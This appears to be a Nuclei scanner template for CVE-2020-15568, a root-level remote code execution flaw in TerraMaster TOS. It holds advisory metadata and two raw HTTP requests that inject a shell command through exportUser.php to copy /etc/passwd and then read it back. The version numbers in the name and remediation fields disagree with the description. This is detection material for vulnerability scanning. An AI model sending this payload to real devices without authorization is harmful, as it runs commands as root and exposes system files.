53 lines
2.0 KiB
YAML
53 lines
2.0 KiB
YAML
id: CVE-2020-15568
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info:
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name: TerraMaster TOS <.1.29 - Remote Code Execution
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author: pikpikcu
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severity: critical
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description: TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation: |
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Upgrade TerraMaster TOS to version 1.29 or higher to mitigate this vulnerability.
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reference:
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- https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-15568
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- https://help.terra-master.com/TOS/view/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-15568
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cwe-id: CWE-913
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epss-score: 0.96535
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epss-percentile: 0.99514
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cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: terra-master
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product: tos
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tags: cve2020,cve,terramaster,rce,terra-master
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variables:
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filename: "{{to_lower(rand_text_alpha(4))}}"
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http:
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- raw:
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- |
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GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3E{{filename}}.txt HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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- |
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GET /include/{{filename}}.txt HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100a6863563fb1eb7d2317fd7f971fdd53b6b8e1080c1fb63befcf1a37a24e3e6f50220744a5befc66d20476c7f68a9537741553031652a79f158f497cbb2a7db525bd6:922c64590222798bb761d5b6d8e72950 |